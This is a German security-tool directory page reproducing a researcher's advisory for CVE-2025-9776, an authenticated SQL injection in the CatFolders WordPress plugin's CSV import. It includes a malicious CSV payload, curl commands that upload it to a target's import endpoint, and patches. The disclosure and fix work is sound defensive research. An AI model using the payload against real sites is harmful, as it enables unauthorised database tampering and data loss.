Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-9776 — CVE-2025-9776 — CatFolders WordPress Plugin: Authenticated SQL Injection via CSV Import | POC + Walkthrough | Kitploit
Tools/GitHubGitHub/snailsploit/cve-2025-9776
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — CatFolders WordPress Plugin: Authenticated SQL Injection via CSV Import | POC + Walkthrough

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-9776: Authentifizierte SQL-Injection im CatFolders WordPress-Plugin

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

Schlüsselwörter: CVE-2025-9776, CatFolders WordPress vulnerability, SQL injection WordPress, authenticated SQL injection, WordPress security, CSV import vulnerability, WordPress plugin exploit, CWE-89, WordPress database attack, media library vulnerability, WordPress CVE 2025

Inhaltsverzeichnis

  • Überblick
  • Schwachstellendetails
  • Technische Analyse
  • Proof of Concept
  • Behebungsanleitung
  • CVSS-Metriken
  • Referenzen
  • Sicherheitskontakt

Überblick

Eine authentifizierte SQL-Injection-Schwachstelle wurde im CatFolders WordPress-Plugin entdeckt, die es Benutzern mit Autor-Rechten ermöglicht, Datenbankabfragen durch bösartige CSV-Importe zu manipulieren.

Entdeckt von: Kai Aizen (SnailSploit)
Veröffentlicht: 2025
CVSS-Score: 6.5 (Mittel)
CWE: CWE-89 - SQL-Injection

Schwachstellendetails

Beschreibung

CatFolders – Bändigen Sie Ihre WordPress-Medienbibliothek nach Kategorien enthält eine authentifizierte SQL-Injection-Schwachstelle in der CSV-Importfunktion. Die Spalte attachments aus einer vom Benutzer bereitgestellten CSV wird in eine Liste aufgeteilt und direkt an FolderModel::set_attachments() übergeben, das diese Werte ohne ordnungsgemäße Bereinigung oder Parametrisierung in rohe SQL IN (...)-Klauseln einfügt.

Auswirkung

Diese Schwachstelle erlaubt authentifizierten Angreifern mit Autor-Rechten Folgendes:

  • Ausführung beliebiger SQL-Abfragen
  • Massenhafte Löschung oder Manipulation von Ordner-Anhangs-Zuordnungen
  • Potenzielle Datenoffenlegung in Abhängigkeit von der Nutzlast und der Datenbankstruktur
  • Gefährdung der Datenbankintegrität und -verfügbarkeit

Betroffene Versionen

  • Verwundbar: Alle Versionen ≤ 2.5.2
  • Behoben: Version 2.5.3 und höher (beim Anbieter überprüfen)

CVSS v3.1-Metriken

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Technische Details

Verwundbarer Codepfad

Die Schwachstelle befindet sich im CSV-Import-Workflow:

Datei: includes/Rest/Controllers/ImportController.php

  1. Die Methode import_csv parst hochgeladene CSV ohne feldweise Bereinigung
  2. restore_folders() ruft auf:
root@kitploit:~
FolderModel::set_attachments( 
    $new_folder['id'], 
    explode(',', $folder['attachments']), 
    false 
);

Datei: includes/Models/FolderModel.php

  1. set_attachments() erstellt rohes SQL durch Zeichenkettenverkettung:
root@kitploit:~
'raw' => 'post_id IN (' . $attachmentIds . ')'
  1. Jedes Element wird nicht in eine Ganzzahl umgewandelt und nicht parametrisiert, was SQL-Injection ermöglicht

Angriffsvektor

Ein Angreifer mit Autor-Rechten (upload_files-Fähigkeit) kann bösartiges SQL über den CSV-Import-Endpunkt injizieren:

Schädliche CSV-Nutzlast:

root@kitploit:~
id,name,attachments
1,Test Folder,"1) OR 1=1--"

Resultierende verwundbare Abfrage:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts 
WHERE post_id IN (1) OR 1=1--)

Dies verlässt die IN(...)-Klausel und verändert die Abfragesemantik, was potenziell alle Zeilen betrifft.

Voraussetzungen

  • Autor-Konto (oder höher) auf der Ziel-WordPress-Seite
  • CatFolders-Plugin installiert und aktiv
  • Zugriff auf den REST-API-Import-Endpunkt

Proof of Concept

Schritt 1: REST-Namespace ermitteln

root@kitploit:~
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'

Typisches Ergebnis: /catf/v1/import-csv

Schritt 2: Schädliche CSV vorbereiten

Erstellen Sie eine Datei namens catf_inject.csv:

root@kitploit:~
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"

Schritt 3: Angriff ausführen

root@kitploit:~
NS="/catf/v1"  # Durch den ermittelten Namespace ersetzen

curl -i \
  -u 'author_user:APPLICATION_PASSWORD' \
  -F "file=@catf_inject.csv;type=text/csv" \
  -X POST "https://target.site/wp-json${NS}/import-csv"

Erwartete Antwort:

root@kitploit:~
{ "success": true }

Auswirkungsdemonstration

Der Server erstellt und führt aus:

root@kitploit:~
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)

Dies kann umfassendere DELETE/INSERT-Operationen als beabsichtigt ausführen und oft Ordner-Anhangs-Beziehungen in der gesamten Datenbank löschen.

Sichere Testumgebung

Führen Sie die eigenständige SQLite-Simulation aus, um die Schwachstelle sicher zu beobachten:

root@kitploit:~
python3 poc/catfolders_sql_poc.py

Dies gibt die verwundbare Abfrage aus und zeigt, wie ein bösartiges Token alle Zeilen zurückgibt, während eine parametrisierte Version es korrekt ablehnt.

Behebung

Für Site-Administratoren

Sofortmaßnahme erforderlich:

  1. Aktualisieren Sie CatFolders auf Version 2.5.3 oder höher
  2. Überprüfen Sie Benutzerkonten mit Autor-Rechten oder höher
  3. Prüfen Sie Datenbankprotokolle auf verdächtige Abfragen zwischen den betroffenen Daten
  4. Überprüfen Sie Ordner-Anhangs-Zuordnungen auf unerwartete Änderungen

Für Entwickler

Zwei minimale Härtungsschritte:

1. IDs vor dem Aufruf des Modells bereinigen

root@kitploit:~
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }

2. Ganzzahlen innerhalb von set_attachments() erzwingen

root@kitploit:~
  $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );

Stärkere Empfehlung

Ersetzen Sie alle rohen SQL-Verkettungen durch parametrisierte Abfragen mit $wpdb->prepare() von WordPress:

root@kitploit:~
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
    "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
    ...$imgIds
);

Zusätzlich:

  • Validieren Sie alle CSV-Felder vor der Verarbeitung streng
  • Implementieren Sie Eingabetypvalidierung auf API-Ebene
  • Fügen Sie Ratenbegrenzung zum Import-Endpunkt hinzu
  • Protokollieren Sie alle Importvorgänge für Prüfpfade

Patch-Datei

Ein vollständiger Patch ist in patch/catfolders_fix.patch verfügbar

Repository-Struktur

root@kitploit:~
CVE-2025-9776/
├── README.md                    # Diese Datei
├── poc/
│   ├── catf_inject.csv         # Schädliche CSV-Nutzlast
│   └── catfolders_sql_poc.py   # Sichere SQLite-Simulation
└── patch/
    └── catfolders_fix.patch    # Empfohlene Korrekturen

Zeitplan

  • Entdeckungsdatum: 2025
  • Benachrichtigung des Herstellers: Koordinierte Offenlegung über Wordfence
  • Öffentliche Offenlegung: 2025
  • Patch verfügbar: Version 2.5.3

Referenzen

  • MITRE CVE-Eintrag
  • Wordfence Intelligence Advisory
  • WordPress-Plugin-Verzeichnis
  • SnailSploit-Forschung

Danksagungen

Forscher: Kai Aizen (SnailSploit)

Offenlegungsprozess: Koordiniert über das Wordfence Bug-Bounty-Programm

Ethische Überlegungen

⚠️ WICHTIGER HAFTUNGSAUSSCHLUSS

Dieser Proof of Concept wird ausschließlich für defensive Forschung und Bildungszwecke bereitgestellt.

Nutzungsrichtlinien

  • ✅ TUN: Testen Sie auf eigenen Systemen oder mit ausdrücklicher schriftlicher Genehmigung
  • ✅ TUN: Verwenden Sie es für Sicherheitsschulungen und Sensibilisierung
  • ✅ TUN: Implementieren Sie die Korrekturen in Ihrem eigenen Code
  • ❌ NICHT TUN: Systeme ohne Genehmigung testen
  • ❌ NICHT TUN: Für böswillige Zwecke verwenden
  • ❌ NICHT TUN: In Produktionsumgebungen ausnutzen

Rechtlicher Hinweis

Unbefugter Zugriff auf Computersysteme ist illegal gemäß Gesetzen wie:

  • Computer Fraud and Abuse Act (CFAA) - Vereinigte Staaten
  • Computer Misuse Act - Vereinigtes Königreich
  • Ähnliche Gesetzgebung in anderen Rechtsordnungen

Verwendung auf eigene Gefahr. Die Forscher und SnailSploit übernehmen keine Haftung für Missbrauch dieser Informationen.

Kontakt

Bei Fragen oder weiteren Informationen zu dieser Schwachstelle:

  • E-Mail: [email protected]
  • LinkedIn: linkedin.com/in/kaiaizen
  • Website: snailsploit.com
  • Organisation: SnailSploit Security Research

Bleiben Sie sicher und halten Sie Ihre WordPress-Installationen auf dem neuesten Stand!

Zuletzt aktualisiert: 13. Oktober 2025


📚 Dokumentation und Autor

Die vollständige Beschreibung dieses Projekts, die Methodik und verwandte Forschung befinden sich unter:

https://snailsploit.com/security-research/cves/cve-2025-9776/

Erstellt von Kai Aizen — unabhängiger offensiver Sicherheitsforscher.

snailsploit.com · Forschung · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

Gleicher Angriff. Anderes Substrat.

Tool herunterladen
MetrikWert
AngriffsvektorNetzwerk (AV:N)
AngriffskomplexitätNiedrig (AC:L)
Erforderliche BerechtigungenNiedrig (PR:L) - Autor+
BenutzerinteraktionKeine (UI:N)
AuswirkungsbereichUnverändert (S:U)
VertraulichkeitKeine (C:N)
IntegritätNiedrig (I:L)
VerfügbarkeitNiedrig (A:L)